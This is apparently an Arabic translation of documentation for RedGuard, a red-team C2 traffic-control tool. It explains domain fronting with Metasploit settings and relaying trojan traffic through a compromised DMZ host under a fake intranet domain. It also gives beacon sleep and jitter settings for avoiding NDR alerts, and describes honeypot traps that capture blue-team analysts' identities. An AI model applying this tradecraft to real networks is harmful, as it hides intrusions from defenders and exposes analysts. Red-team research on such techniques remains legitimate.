بالطبع، كسيناريو اختراق النطاق الأمامي (domain fronting)، يمكنك أيضًا تكوين LHOST الخاص بك لاستخدام أي اسم نطاق من شبكة توزيع المحتوى (CDN) الخاصة بالمُصنّع، مع الانتباه إلى تعيين HttpHostHeader ليتوافق مع RedGuard.```bash setg OverrideLHOST 360.com setg OverrideLPORT 443 setg OverrideRequestHost true
من المهم ملاحظة أنه يجب تعيين الإعداد `OverrideRequestHost` إلى `true`. ويرجع ذلك إلى ميزة في طريقة تعامل Metasploit مع طلبات HTTP/S الواردة افتراضيًا عند إنشاء تكوين لتحميل الحمولات. افتراضيًا، يستخدم Metasploit قيمة رأس `Host` للطلب الوارد (إذا كانت موجودة) لتكوين المرحلة الثانية بدلاً من معامل `LHOST`. لذلك، يتم تكوين مرحلة البناء لإرسال الطلبات مباشرة إلى اسم المجال المخفي الخاص بك لأن CloudFront يمرر نطاقك الداخلي في رأس `Host` للطلبات المعاد توجيهها. من الواضح أن هذا ليس ما نطلبه. باستخدام قيمة التكوين `OverrideRequestHost`، يمكننا إجبار Metasploit على تجاهل رأس `Host` الوارد واستخدام قيمة التكوين `LHOST` التي تشير إلى نطاق CloudFront الأصلي بدلاً من ذلك.
تم تعيين المستمع على رقم المنفذ الفعلي الذي يتطابق مع العنوان الذي يقوم RedGuard بإعادة التوجيه إليه بالفعل.
قام RedGuard باستلام الطلب:
## تعيين مسح الفضاء الإلكتروني
كما هو موضح في الشكل أدناه، عندما يتم تعيين قاعدة الاعتراض لدينا على DROP، يقوم مسبار نظام تعيين الفضاء بفحص الدليل `/` لمنفذ الوكيل العكسي لدينا عدة مرات. نظريًا، يتم تزوير حزمة الطلب المرسلة من قبل التعيين لتبدو كحركة مرور عادية كما هو موضح. ولكن بعد عدة محاولات، نظرًا لأن توقيع حزمة الطلب لا يفي بمتطلبات التحرير الخاصة بـ RedGuard، يتم الرد عليها جميعًا بـ Close HTTP. التأثير النهائي المعروض على منصة المسح هو أن منفذ الوكيل العكسي غير مفتوح.
تعني حركة المرور الموضحة في الشكل أدناه أنه عندما يتم تعيين قاعدة الاعتراض على Redirect، سنجد أنه عندما يتلقى مسبار التعيين استجابة، فإنه يستمر في مسح دليلنا. User-Agent عشوائي، والذي يبدو أنه يتوافق مع طلبات حركة المرور العادية، ولكن تم حظر كلاهما بنجاح.
**منصة التعيين - وضع اعتراض الاستجابة المختطفة:**
**منصة المسح - تأثير اعتراض إعادة التوجيه:**
## إخفاء النطاق (Domain fronting)
يدعم RedGuard إخفاء النطاق. في رأيي، هناك شكلان للتقديم. الأول هو استخدام طريقة إخفاء النطاق التقليدية، والتي يمكن تحقيقها عن طريق تعيين منفذ الوكيل العكسي الخاص بنا في عنوان العودة إلى المصدر للتسريع على مستوى الموقع. على الأساس الأصلي، يتم إضافة وظيفة التحكم في حركة المرور إلى إخفاء النطاق، ويمكن إعادة توجيهها إلى عنوان URL المحدد وفقًا للإعداد الذي قمنا بتعيينه لجعله يبدو أكثر واقعية. وتجدر الإشارة إلى أن إعداد HTTPS HOST HEADER في RedGuard يجب أن يكون متسقًا مع اسم نطاق التسريع على مستوى الموقع.
في المهام الفردية، أقترح استخدام الطريقة المذكورة أعلاه، وفي مهام الفريق، يمكن أيضًا تحقيق ذلك عن طريق "إخفاء النطاق" ذاتي البناء.
في إخفاء النطاق الذاتي البناء، حافظ على تناسق منافذ الوكيل العكسي المتعددة، ويشير رأس HOST HEADER باستمرار إلى منفذ الاستماع الحقيقي لخادم C2 الخلفي. بهذه الطريقة، يمكن إخفاء خادم C2 الحقيقي لدينا بشكل جيد، ولا يمكن لخادم الوكيل العكسي فتح سوى منفذ الوكيل عن طريق تكوين جدار الحماية.
يمكن تحقيق ذلك من خلال خوادم عقدة متعددة، وتكوين عناوين IP متعددة لعقدنا في عنوان IP الخاص باتصال HTTPS عبر الإنترنت الخاص بـ CS listener.
## فخ خبيث (Honeypot malicious trap)
**يعتمد مبدأ الفخ الخبيث بشكل أساسي على وظيفة اختطاف الاستجابة أو إعادة التوجيه لتوجيه حركة المرور من RG، والتي توجه المحللين الذين يقيمون مرافق C2 إلى عنوان صندوق الرمل للفخ. في حالة اختطاف الاستجابة، سيقوم RG بتوجيه حركة طلب لا تفي بقواعد الواردة إلى أصول الفخ.** عند مواجهة بعض الفخاخ الأكثر قوة (مثل تلك التي تلتقط أرقام هواتف المشغلين)، سيبدأ العميل طلبًا وفقًا لاستجابة الموقع المستهدف ويتم اختطافه بواسطة jsonp للحصول على المعلومات ذات الصلة.
تخيل أنه عندما يصل المحللون مباشرة إلى منفذ اتصال C2 عبر الإنترنت، سيتم توجيههم إلى أصل الفخ، مما سيؤدي بلا شك إلى إزعاج المحللين. يتم توجيه المحللين بشكل ضار لطلب أصل الفخ، وتقوم نهاية مراقبة الفخ بالتقاط المعلومات ذات الصلة بمحللي الفريق الأزرق وتتبع الخطأ. إذا كان هدف التحليل خاطئًا من البداية، فكيف يمكنك الحصول على نتيجة جيدة؟ سيؤدي هذا بلا شك إلى احتكاك داخلي شديد لفريق الدفاع.
**فيما يلي مجموعة من بصمات ZoomEye المرتبطة بأصول الفخ:**```bash
(iconhash:"9fd6f0e56f12adfc2a4da2f6002fea7a" (title:"然之协同" +"iframe" +">v.ignoreNotice")) ("/static/js/2.ca599e2d.chunk.js?t=" +title:"OA办公系统") ("data.sloss.xyz/get_code.js?access") ("/monitordevinfo/common.js") (app:"honeyport" +country:china +after:"2022-08-22")
الطريقة لتحقيق هذا التأثير بسيطة جداً، كل ما عليك فعله هو تغيير قيم المفاتيح ذات الصلة في ملف تهيئة RG.```bash
drop_action = proxy
Redirect = https://market.baidu.com
**ملاحظة: أعتقد أن الجميع يعرف كيف يضبطه دون شرح:)**
هذه الطريقة هي نوع من الخداع الماكر، والذي ينعكس بشكل أكبر في الفكرة. إذا تم استخدامها بشكل أكبر، يمكن نشر وظيفة التقاط مصيدة العسل (honeypot) في منشأة التحكم في حركة المرور الأمامية لـ C2 ثم توجيه حركة المرور التفاعلية. التأثير هو أنه يمكن الحصول على بيانات ذاكرة التخزين المؤقت لمتصفح العميل تمامًا مثل مصيدة العسل التقليدية. ومع ذلك، أشعر شخصيًا أنه في الإصدار العام، قد لا يكون من المفيد تطبيقه على المواجهة الحالية بين الهجوم والدفاع. لا معنى لأن يلتقط المهاجم المعلومات الاجتماعية لمحلل الفريق الأزرق ثم يتتبعها. بالطبع، إذا عدنا خطوة إلى الوراء، فقد يجعل ذلك تحليل عينات C2 أكثر خطورة. عندما يتمكن المهاجم من الصناعات السوداء والرمادية من الحصول على الهوية الافتراضية للمحلل، إذا كان من الممكن تحويل الهويات الافتراضية والحقيقية، فإنه لا يزال خطيرًا نسبيًا. **لذا أعتقد أن البحث والتحليل المستقبليين يجب أن يكونا أكثر حذرًا ويقظة.**
## حركة مرور C2 بناءً على تفاعل رابط العقدة الطرفية
في سيناريو المواجهة بين الهجوم والدفاع، معظم شبكات الوحدات لا تزال تعتمد على الدفاع القائم على الحدود. هنا نأخذ في الاعتبار سيناريو حيث يتم غالبًا تكوين الخوادم الخارجية في منطقة DMZ بسياسات الوصول ذات الصلة في بيئة الأعمال العادية. في هذا الوقت، عندما يمكن للخوادم الخارجية على الحافة الوصول إلى الشبكة ولكن لا يمكنها الوصول مباشرة إلى مضيف الشبكة الداخلية، وأجهزة الكمبيوتر أو الخوادم ذات الصلة في الشبكة الداخلية لا تصل مباشرة إلى الشبكة العامة، ولكن يمكنها الوصول إلى خوادم الأعمال في منطقة DMZ، عندها يمكنني استخدام مضيف العقدة الطرفية كعقدة RG لنقل حركة المرور عبر الإنترنت للشبكة الداخلية إلى منشآت C2 الخاصة بنا. هل يبدو ذلك مشابهًا جدًا لنقل الوكيل التقليدي عبر الإنترنت؟ لكن هذه مجرد شكل من أشكال عرض تنفيذ المهارة. دعنا نستمر في رؤية المزيد من النصائح.
عندما نستولي على مضيف حافة أثناء عملية الإدارة، بافتراض أننا حصلنا على صلاحيات Shell، سنقوم بنشر RG على هذا الخادم كعقدة أمامية لدينا **(في السيناريوهات الفعلية، تكون ملفات التكوين مضمنة في البرنامج، وحتى الحصان الطروادة و RG يتم دمجهما في نفس البرنامج)**.
**ملف التكوين كما يلي:**
بالنسبة للتكوين المحدد، نركز بشكل أساسي على الأسهم. **السهم 1 أعلاه هو اسم نطاق HOST للتفاعل بين مضيف الشبكة الداخلية والعقدة الطرفية**. يوصى بتعيين اسم نطاق الشبكة الداخلية ذي الصلة وفقًا للسيناريو المحدد للوحدة المستهدفة. تخيل تفاعل حركة المرور بين مضيفين في الشبكة الداخلية حول اسم نطاق الشبكة الداخلية. هل يمتلك BT الشجاعة لقطع حركة المرور التفاعلية مباشرة؟ بالطبع، إذا كان بإمكانهم تحديد أنها حركة مرور تفاعلية ضارة. **السهم 2 يشير إلى إعداد الواجهة الأمامية للنطاق التقليدي (domain frontend)**. هذا الزوج من المفاتيح، المفتاح يتوافق مع HOST عبر الإنترنت والقيمة تتوافق مع عنوان الوكيل. هنا يمكننا تعيينه إلى أي اسم نطاق HTTPS يستخدم نفس شركة تصنيع CDN **(عنوان IP لعقدة CDN مقبول أيضًا، تذكر إضافة بروتوكول http(s)://)**.
EdgeHost هو اسم النطاق الذي يستخدمه الواجهة الأمامية للنطاق لمزود الخدمات السحابية لدينا، وهو أيضًا اسم النطاق الذي تستخدمه عقدة RG الطرفية عند التفاعل مع C2 من خلال عقدة CDN. نعم، سيقوم RG بتعديل اسم نطاق HOST للطلب الشرعي وتغييره إلى اسم نطاق CDN الخاص بالخدمة السحابية الذي يمكنه الاتصال بشكل طبيعي.
EdgeTarget هو اسم النطاق للتفاعل داخل الشبكة الداخلية، ويجب أن يكون مطابقًا للسهم 1. فقط حركة المرور المطلوبة بواسطة اسم النطاق المحدد هنا بواسطة HOST ستعتبر شرعية، وسيتم تعديل RG أيضًا إلى اسم نطاق CDN الخاص بالخدمة السحابية للاتصال اللاحق.
**هنا نلخص:**
أي أن التفاعل بين العقدة الطرفية والمضيف في الشبكة الداخلية يتم من خلال اسم نطاق الشبكة الداخلية المحدد. عندما يبدأ الحصان طروادة طلبًا إلى العقدة الطرفية لـ RG، سيتحقق مما إذا كان HOST لحركة المرور المطلوبة هو اسم نطاق الشبكة الداخلية المحدد في ملف التكوين. إذا كان متوافقًا، يعتبر شرعيًا. سيقوم RG بتعديل HOST إلى اسم نطاق CDN الخاص بمزود الخدمات السحابية الذي تم تعيينه بواسطة EdgeHost للاتصال اللاحق ونقل حركة المرور إلى خادم C2، مما يحقق إخفاءًا تامًا وتشويشًا عاليًا للرابط بأكمله. تخيل أن اسم نطاق الشبكة الداخلية يتفاعل مع العقدة الطرفية باستخدام اسم نطاق الشبكة الداخلية، ولكن العقدة الطرفية تغير عنوان الوكيل التفاعلي الفعلي و HOST التفاعلي، مما يحقق معلومات تفاعلية غير متماثلة بين المضيفين، مما يجعل التتبع أكثر صعوبة ويصعب التحقيق.
**حركة المرور التفاعلية بين العقد الطرفية ومضيفي الشبكة الداخلية، كما هو موضح في الشكل أعلاه**
ميزة أخرى لهذا النهج هي أنه في بيئة الصندوق الرمل السحابي (sandbox)، نظرًا لأن عنوان IP التفاعلي الخاص بنا مخصص وفقًا للشبكة الداخلية، فمن المستحيل على الصندوق الرمل إجراء تحليل ارتباط الاتصال على عنوان IP للشبكة الداخلية أثناء التحليل.
شيء يجب ملاحظته عند التكوين هو أن HOST لطلب الحصان طروادة يجب أن يكون:
- **HOST: اسم نطاق الشبكة الداخلية (المحدد في ملف تكوين RG)**
- **IP: عنوان IP للشبكة الداخلية للمضيف الطرفي**
- **منفذ الاتصال: 443 (يطابق منفذ الاستماع http(s) في ملف تكوين RG)**
- **منفذ الاستماع: المنفذ الذي يتصل به C2 فعليًا**
إعدادات مستمع C2 كما يلي:
على النقيض من الطلب، يجب أن يكون HOST لمستمع C2 هو اسم نطاق CDN لمزود الخدمات السحابية، طالما يمكن نقل حركة المرور النهائية إلى خادم C2.
حركة المرور التفاعلية للعقدة الداخلية، كما هو موضح في الشكل أدناه، يمكن ملاحظة أن عنوان IP الداخلي في منطقة DMZ يصل بشكل طبيعي إلى المنفذ 443. ليس من المستغرب أن يتصل الخادم الداخلي أو الكمبيوتر بنظام الأعمال في منطقة DMZ.
حركة المرور التفاعلية للمضيف الطرفي موضحة في الشكل. في السيناريوهات الفعلية، لن يكون هناك عدد كبير من TIME_WAIT. هنا، قمت بتعيين فترة سكون حزمة نبضات القلب إلى 0 للاختبار. من الأكثر أمانًا تعيين تشويش أكبر لحزمة نبضات القلب ووقت سكون أكبر في السيناريوهات الفعلية. وأعتقد شخصيًا أن حركة مرور HTTP لا تُستخدم في السيناريوهات الفعلية. أليست حركة المرور بنص عادي مضيعة للوقت؟ لذلك عمومًا لن يتم فتح هذا المنفذ. سنقوم بتغيير اسم ملف RG إلى Tomcat أو Apache أو Nginx وما إلى ذلك لجعل التفاعل يبدو أكثر تشويشًا.
بخصوص تشويش حزمة نبضات القلب ووقت السكون، يمكنك ببساطة تعيين الحقول التالية في ملف Malleable C2 Profile.```bash
set sleeptime "3000";
set jitter "20";
إذا لم تقم بتعيينه، فقد يظهر إنذار حزمة نبضات قلب غير طبيعية. بالطبع، في معظم الحالات، سيعتقد الباحثون أنه إنذار كاذب ويتجاهلونه. ومع ذلك، من أجل السلامة، يُوصى بتكوينه حتى لا يتسبب في إنذار حزمة نبضات قلب غير طبيعية. في ذلك الوقت، تم اختباره بواسطة معدات 360 NDR، وكان التأثير المحدد على النحو التالي:
أما بالنسبة لحركة مرور HTTPS، فلا يمكن لأي جهاز مراقبة حركة المرور في السوق مراقبتها. تعتمد أجهزة المراقبة الحالية بشكل أساسي على مطابقة الكلمات الحساسة. حتى في مسابقة كشف حزم البيانات الخاصة بشركة معينة، يُطلب استخدام حزم نص عادي، مما يجعل المرء يتساءل عما إذا كان الباحثون الأمنيون يتفاعلون حقًا مع حركة النص العادي في سيناريوهات القتال الفعلية؟ بالإضافة إلى معلومات التفاعل غير المتماثلة المذكورة أعلاه، فإن الميزة الأكبر لهذه الطريقة هي وضع عقدة RG عند العقدة الطرفية لتحقيق التحكم في حركة المرور الأمامية، مما يمنحها نفس التأثير الوظيفي لـ RG العادي.
يتم تحويل العقد الخلفية لعقد RG إلى عقد CDN لتوجيهها إلى خادم C2. في السيناريوهات التقليدية، تُستخدم جميع العقد الأمامية للنطاقات كعقد الطلب من الطبقة الأولى، ويتم وضع المضيفين الطرفيين على الإنترنت بعد RG. إن التفاعل بين نظام الأعمال في منطقة DMZ وعنوان IP الخاص بشبكة CDN العامة يبدو أيضًا متناغمًا. في هذه العملية، لا يتفاعل المضيف الداخلي ولا المضيف الطرفي بشكل مباشر مع C2 الخاص بنا، وهذا هو أيضًا أناقة هذه التقنية المتقدمة للإخفاء.
بالطبع، بالإضافة إلى المزايا المذكورة أعلاه مقارنة بنقل الـ netsh و iptables، فإن سهولة التكوين وعدم وجود سجلات تكوين هي أيضًا إحدى المزايا.
شكرًا لدعمكم. سيواصل RedGuard التحسين والتحديث. أتمنى أن يصبح RedGuard معروفًا لدى المزيد من الممارسين في مجال الأمن. تستخدم الأداة أفكار تصميم RedWarden.
نرحب بالجميع لطرح احتياجاتكم، وسيستمر RedGuard في النمو والتحسين من خلال هذه الاحتياجات!
حول المطور 风起 والمقالات ذات الصلة: https://www.anquanke.com/member.html?memberId=148652
2022 مؤتمر Kcon لمؤلف طيف الأسلحة
منتدى الدفاع والهجوم المتقدم لمؤتمر ISC العاشر للأمن السيبراني "التحكم في تدفق الواجهة الأمامية لـ C2"
تبادل حركة مرور C2 بناءً على روابط العقد الحدودية
https://www.anquanke.com/post/id/278140
تحليل تقنية التعرف على تدفق الصندوق الرملي السحابي
https://www.anquanke.com/post/id/277431
تحقيق تقنية عشوائية بصمة JARM
https://www.anquanke.com/post/id/276546
إجراءات مواجهة استخبارات التهديدات للبنية التحتية لـ C2
Kunyu: https://github.com/knownsec/Kunyu
تبدأ الرياح من قمة العشب الأخضر، وتتشكل الأمواج بين التموجات الدقيقة.
إذا كانت لديك أي أسئلة أو متطلبات، يمكنك تقديم مشكلة تحت المشروع، أو الاتصال بالمطور عن طريق إضافة WeChat.
| IP | Port | Protocol | Service | Country | City | Title | Time |
|---|
| 103.211.xx.90 | 443 | https | Apache httpd | الصين | Suzhou | 百度图片-发现多彩世界 | 2023-08-28 |
| 223.113.xx.207 | 443 | https | JSP3 | الصين | Xuzhou | 403 Forbidden | 2023-08-28 |
| 223.112.xx.48 | 443 | https | JSP3 | الصين | Xuzhou | 403 Forbidden | 2023-08-28 |
| 223.113.xx.40 | 443 | https | JSP3 | الصين | Xuzhou | 403 Forbidden | 2023-08-28 |
| 223.113.xx.31 | 443 | https | JSP3 | الصين | 405 Not Allowed | 2023-08-28 | |
| 223.113.xx.206 | 443 | https | JSP3 | الصين | Xuzhou | 403 Forbidden | 2023-08-28 |